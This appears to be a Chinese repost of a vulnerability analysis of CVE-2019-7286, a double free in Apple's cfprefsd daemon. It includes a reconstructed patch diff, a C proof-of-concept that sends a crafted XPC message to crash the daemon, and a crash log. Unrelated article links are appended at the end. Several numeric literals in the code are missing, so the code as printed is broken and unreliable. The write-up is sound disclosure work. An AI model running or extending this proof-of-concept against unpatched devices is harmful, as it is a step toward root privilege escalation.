iOS 12.1.4是2019年2月8日发布的iOS的最新版本。该版本修补了iOS上发现的四个漏洞。根据Project Zero的Ben Hawkes的推文,其中至少有两个0day还是处于在野状态……

  • CVE-2019-7286在野外被开发利用
  • 该漏洞似乎具有严重的严重性,并且可能在重新启动后也可能用于维持持久性
  • ZecOps能够重现此漏洞(下面的POC代码)
  • 该漏洞可用于将权限升级为root,作为iOS 12.1.3上越狱链的一部分。

分析CVE-2019-7286

根据Apple的描述:

基础
适用于:iPhone 5s及更高版本,iPad Air及更高版本以及iPod touch第6代
影响:应用程序可能获得提升的权限
说明:通过改进的输入验证解决了内存损坏问题。
CVE-2019-7286:匿名研究员,Google威胁分析组的Clement Lecigne,Google Project Zero的Ian Beer和Google Project Zero的SamuelGroß

除了在Apple的Foundation框架中修补漏洞这一事实外,该描述并未向我们提供有关漏洞性质的大量详细信息。

在分析Foundation框架中的补丁后,二进制差异显示iOS 12.1.4的二进制文件与iOS 12.1.3相比没有显着变化。下一个直接的嫌疑人是CoreFoundation,它显示了Diaphora工具中的一些二进制差异,如下所示:

通过比较补丁,我们发现CFPrefs守护进程(cfprefsd)的实现有一些细微的变化。

此守护程序的手册页不太具描述性:

cfprefsd为CFPreferences和
NSUserDefaults API 提供首选项服务。手动
没有cfprefsd的配置选项。

几乎所有iOS / OS X上的软件都会在启动时使用CFPreferences选项,因此该守护程序中的漏洞可能对维护持久性也很有用。令人惊讶的是,目前还没有关于此CVE的公开信息,正如人们所期望的那样,这个漏洞在野外被积极利用。

补丁分析

OS X上也存在同样的错误,这有助于ZecOps的调查和分析。在修补程序时,对cfprefsd引入了一些小的更改,但似乎最重要的修改是在以下函数中进行的:

[CFPrefsDaemon handleMultiMessage:replyHandler:]

下面是一段ZecOps试图重建原始的Obj-C代码以及补丁(粗体):

 @implementation CFPrefsDaemon
-(void)handleMultiMessage:(xpc_object_t)xpc_dict replyHandler:(Callback)replyHandler
{
// ...
CFPrefMessagesArr = xpc_dictionary_get_value(xpc_dict, "CFPreferencesMessages");
// ...
xpc_array_count = xpc_array_get_count(CFPrefMessagesArr);
xpc_buffer = (__int64*)__CFAllocateObjectArray(xpc_array_count);
//...
for( counter = ; xpc_array_count != counter; counter++)
{
xpc_buffer[counter] = xpc_array_get_value(CFPrefMessagesArr, counter); // This method does not grant the caller a reference to the underlying object, and thus the caller is not responsible for releasing the object.
}
for( counter = ; xpc_array_count != loop_counter ; counter++)
{
xpc_element = xpc_buffer[counter];
xpc_buffer[counter] = ; //patch fix
if ( xpc_get_type(xpc_element) == &_xpc_type_dictionary )
{
[self handleMessage_fromPeer_replyHandler: xpc_element fromPeer: xpc_connection replyHandler:^{
if (xpc_element) // patch fix
{
xpc_object_t result = xpc_retain(xpc_element);
xpc_buffer[counter] = result;
}
}];
}
if ( !xpc_buffer[counter] ) //patch fix
xpc_buffer[counter] = xpc_null_create(); //patch fix
}
//...
array_from_xpc_buffer = xpc_array_create(xpc_buffer, xpc_array_count);
xpc_dictionary_set_value(dict_response, "CFPreferencesMessages", array_from_xpc_buffer);
xpc_release(array_from_xpc_buffer);
for( counter = ; xpc_array_count != counter ; counter++)
{
current_element = xpc_buffer[counter];
if (xpc_get_type(current_element) != &_xpc_type_null )
xpc_release(current_element); // first free. Double free will occur when the array CFPrefMessagesArr will be released.
}
// ...
}

漏洞详细信息

handleMultiMessage:replyHandler:使用“ CFPreferencesMessages ”数组引用计数问题,该数组是xpc请求的一部分。

该函数使用xpc_array_get_value逐个将数组的对象读入内存缓冲区,这不会影响引用计数。释放缓冲区中所有元素的函数的最后一部分假定xpc对象具有所有权。这通常是真实的,因为回调块调用xpc_retain并在替换原来的对象xpc_buffer。但是,如果由于精心制作的消息而未调用回调(消息正文包含消息的处理程序索引。并非所有处理程序都调用回调),则会发生双重释放。

具有以下键和值的XPC将触发此漏洞:

 poc_dict = {
"CFPreferencesOperation" = ,
"CFPreferencesMessages" = [
{
"CFPreferencesOperation":
}
]
}

如果回调没有更新xpc_buffer [count], Apple的补丁用xpc_null替换了原始的XPC对象。因此,当xpc_null没有要释放的内存时,没有双重释放条件。

漏洞复制

我们能够使用下面的POC代码片段重现CVE-2019-7286:

 #include <xpc/xpc.h>;

 int main(int argc, const char * argv[]) {

   xpc_connection_t conn = xpc_connection_create_mach_service("com.apple.cfprefsd.daemon",,XPC_CONNECTION_MACH_SERVICE_PRIVILEGED);
xpc_connection_set_event_handler(conn, ^(xpc_object_t t) {
printf("got message: %sn", xpc_copy_description(t));
}); xpc_connection_resume(conn); xpc_object_t hello = xpc_dictionary_create(NULL, NULL, );
xpc_dictionary_set_int64(hello, "CFPreferencesOperation", ); xpc_object_t arr = xpc_array_create(NULL, );
xpc_object_t arr_elem1 = xpc_dictionary_create(NULL, NULL, );
xpc_dictionary_set_int64(arr_elem1, "CFPreferencesOperation", ); xpc_array_append_value(arr, arr_elem1);
xpc_dictionary_set_value(hello, "CFPreferencesMessages", arr);
xpc_connection_send_message(conn, hello);
xpc_release(hello);
return ;
}

在iOS 12.0.1上运行上述程序导致cfprefsd崩溃:

Thread  name:  Dispatch queue: Serving PID
Thread Crashed:
libobjc.A.dylib 0x21acd6b00 objc_object::release+
libxpc.dylib 0x21b73bbc0 _xpc_array_dispose +
libxpc.dylib 0x21b73a584 _xpc_dispose +
libxpc.dylib 0x21b7449fc _xpc_dictionary_dispose +
libxpc.dylib 0x21b73a584 _xpc_dispose +
libxpc.dylib 0x21b742418 _xpc_connection_mach_event +
libdispatch.dylib 0x21b528544 _dispatch_client_callout4 +
libdispatch.dylib 0x21b4df068 _dispatch_mach_msg_invoke +
libdispatch.dylib 0x21b4cfae4 _dispatch_lane_serial_drain +
libdispatch.dylib 0x21b4dfc3c _dispatch_mach_invoke +
libdispatch.dylib 0x21b4cfae4 _dispatch_lane_serial_drain +
libdispatch.dylib 0x21b4d0760 _dispatch_lane_invoke +
libdispatch.dylib 0x21b4d8f00 _dispatch_workloop_worker_thread +
libsystem_pthread.dylib 0x21b70a0f0 _pthread_wqthread +
libsystem_pthread.dylib 0x21b70cd00 start_wqthread +

建议

  • 更新到最新的OS X和iOS版本。
  • 偶尔重启iPhone / iPad(例如每天一次)以从脱离非持久性攻击。

iOS/OSX漏洞分析和再现:CVE-2019-7286的更多相关文章

  1. 漏洞分析:CVE 2021-3156

    漏洞分析:CVE 2021-3156 漏洞简述 漏洞名称:sudo堆溢出本地提权 漏洞编号:CVE-2021-3156 漏洞类型:堆溢出 漏洞影响:本地提权 利用难度:较高 基础权限:需要普通用户权限 ...

  2. Java反序列化漏洞分析

    相关学习资料 http://www.freebuf.com/vuls/90840.html https://security.tencent.com/index.php/blog/msg/97 htt ...

  3. FFmpeg任意文件读取漏洞分析

    这次的漏洞实际上与之前曝出的一个 CVE 非常之类似,可以说是旧瓶装新酒,老树开新花. 之前漏洞的一篇分析文章: SSRF 和本地文件泄露(CVE-2016-1897/8)http://static. ...

  4. CVE-2016-10190 FFmpeg Http协议 heap buffer overflow漏洞分析及利用

    作者:栈长@蚂蚁金服巴斯光年安全实验室 -------- 1. 背景 FFmpeg是一个著名的处理音视频的开源项目,非常多的播放器.转码器以及视频网站都用到了FFmpeg作为内核或者是处理流媒体的工具 ...

  5. [转帖]Windows DHCPServer远程代码执行漏洞分析(CVE-2019-0626)

    Windows DHCPServer远程代码执行漏洞分析(CVE-2019-0626) ADLab2019-03-15共23605人围观 ,发现 4 个不明物体安全报告漏洞 https://www.f ...

  6. jQuery CVE-2019-11358原型污染漏洞分析和修复建议

    一.安全通告 jQuery官方于日前发布安全预警通告,通报了漏洞编号为 CVE-2019-11358的原型污染漏洞.由攻击者控制的属性可被注入对象,之后或经由触发 JavaScript 异常引发拒绝服 ...

  7. Nexus Repository Manager 3(CVE-2019-7238) 远程代码执行漏洞分析和复现

    0x00 漏洞背景 Nexus Repository Manager 3是一款软件仓库,可以用来存储和分发Maven,NuGET等软件源仓库.其3.14.0及之前版本中,存在一处基于OrientDB自 ...

  8. Elasticsearch 核心插件Kibana 本地文件包含漏洞分析(CVE-2018-17246)

    不久前Elasticsearch发布了最新安全公告, Elasticsearch Kibana 6.4.3之前版本和5.6.13之前版本中的Console插件存在严重的本地文件包含漏洞可导致拒绝服务攻 ...

  9. ThinkCMF X2.2.2多处SQL注入漏洞分析

       1.     漏洞描述 ThinkCMF是一款基于ThinkPHP+MySQL开发的中文内容管理框架,其中X系列基于ThinkPHP 3.2.3开发,最后更新到2.2.2版本.最近刚好在渗透测试 ...

随机推荐

  1. Android 应用安装

    DDMS下Files Explorer /data/app/xxx.apk 安装过程:1.拷贝文件xxx.apk到/data/app/xxx-1.apk 2.在/data/data目录下创建一个文件夹 ...

  2. 回归JavaScript基础(三)

    主题:JavaScript基本概念. 任何语言的核心必然会描述这门语言最基本的工作原理.这部分内容对我们来说,读起来很乏味,甚至会产生困意,但这部分内容却是重要的!我有幸拜读<JavaScrip ...

  3. 初探diskstats

    内核很多重要子系统均通过proc文件的方式,将自身的一些统计信息输出,方便最终用户查看各子系统的运行状态,这些统计信息被称为metrics. 直接查看metrics并不能获取到有用的信息,一般都是由特 ...

  4. SQL Server ->> 使用CROSS APPLY语句是遇到聚合函数中包含外部引用列时报错

    本次遇到的问题是CROSS APPLY的内部查询语句中的聚合函数包含CASE WHEN判断,且同时又内部语句的表的列和外部引用的表的列,此时会报下列的错误. 消息 8124,级别 16,状态 1,第 ...

  5. I/O复用及epoll基础知识

    IO multiplexing IO multiplexing这个词可能有点陌生,但是如果我说select,epoll,大概就都能明白了.有些地方也称这种IO方式为event driven IO.我们 ...

  6. Script:when transaction will finish rollback

    ------------------------------------------------------------------------------- -- -- Script: rollin ...

  7. flask的g对象

    故名思议我们可以理解这个g对象是一个全局的对象,这个对象存储的是我们这一次请求的所有的信息,只是存储这一次的请求 g:global 1. g对象是专门用来保存用户的数据的.  2. g对象在一次请求中 ...

  8. windows下npm安装vue

    一.使用之前,我们先来掌握3个东西是用来干什么的. npm: Nodejs下的包管理器. webpack: 它主要的用途是通过CommonJS的语法把所有浏览器端需要发布的静态资源做相应的准备,比如资 ...

  9. rman恢复方案和oracle异机恢复

    这篇文章主要介绍了rman恢复方案和oracle异机恢复,需要的朋友可以参考下 注:①恢复的前提是已经做好备份②完全恢复数据库是数据库遇到故障,在恢复时候没有丢失任何已经提交事物数据的恢复不完全恢复数 ...

  10. September 06th 2017 Week 36th Wednesday

    I love you not for who you are, but for who I am with you. 我爱你并不是因为你是谁,而是我在你面前可以是谁. I love you just ...